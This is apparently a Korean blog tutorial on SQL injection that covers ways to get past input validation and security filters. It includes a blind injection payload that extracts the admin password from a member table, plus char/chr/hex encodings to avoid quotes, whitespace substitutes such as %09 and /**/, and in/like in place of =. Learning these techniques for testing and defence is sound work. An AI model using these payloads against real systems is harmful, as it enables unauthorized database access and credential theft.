Oh! JUN

6) 보안 솔루션 및 입력 값 검증 우회 기법 본문

웹 해킹/SQL Injection

6) 보안 솔루션 및 입력 값 검증 우회 기법

Kwon Oh! JUN 2022. 10. 9. 01:13

6) 특수 문자 검증 우회 기법

1. 싱글 쿼터(') 문자 검증 우회

싱글 쿼터 문자 사용이 반드시 필요한 예시
SELECT * FROM board WHERE title like '%test%'

 

싱글 쿼터 문자 사용이 필요 없는 예시
SELECT * FROM board WHERE idx=100
SELECT * FROM board WHERE title like '%test%'
SELECT * FROM board order by idx desc

 

※ 예시

boardView.do?idx=100 정상
boardView.do?idx=100 and 1=1 정상
boardView.do?idx=100 and ascii(substring((select password from member where id='admin'),1,1)&1=1 거짓
boardView.do?idx=100 and substring('test',1,1)='t' 거짓

'admin', 'test' 싱글쿼터 검증때문에 거짓 뜸

 

 

※ 우회 방법

'admin' 싱글 쿼터 우회 방법
MYSQL char 1) concat(char(97), char(100), char(109), char(105), char(110))
2) char(97, 100, 109, 105, 110)
3) 0x61646D696E
MSSQL char char(97)+char(100)+char(109)+char(105)+char(110)
ORACLE chr chr(97)||chr(100)||chr(109)||chr(105)||chr(110)

 

 

burp suite

1) concat(char(97), char(100), char(109), char(105), char(110))

 

2) char(97, 100, 109, 105, 110)

 

3) 0x61646D696E

 


2. 공백 문자 검증 우회

boardView.do?idx=101-1 정상
boardView.do?idx=100[공백]-1 차단
boardView.do?idx=100[공백]and[공백]1=1 차단
boardView.do?idx=[공백]100 차단

 

분류 문자
공백 관련 문자 %09
%0A
%0B
%0C
%0D
%A0
주석 문자 /**/

 

%09

 

 

/**/


 

3. = 문자 검증 우회

대체 연산자
in
like

1=1은 1in(1)이다.

 

1=1은 1 like 1 이다.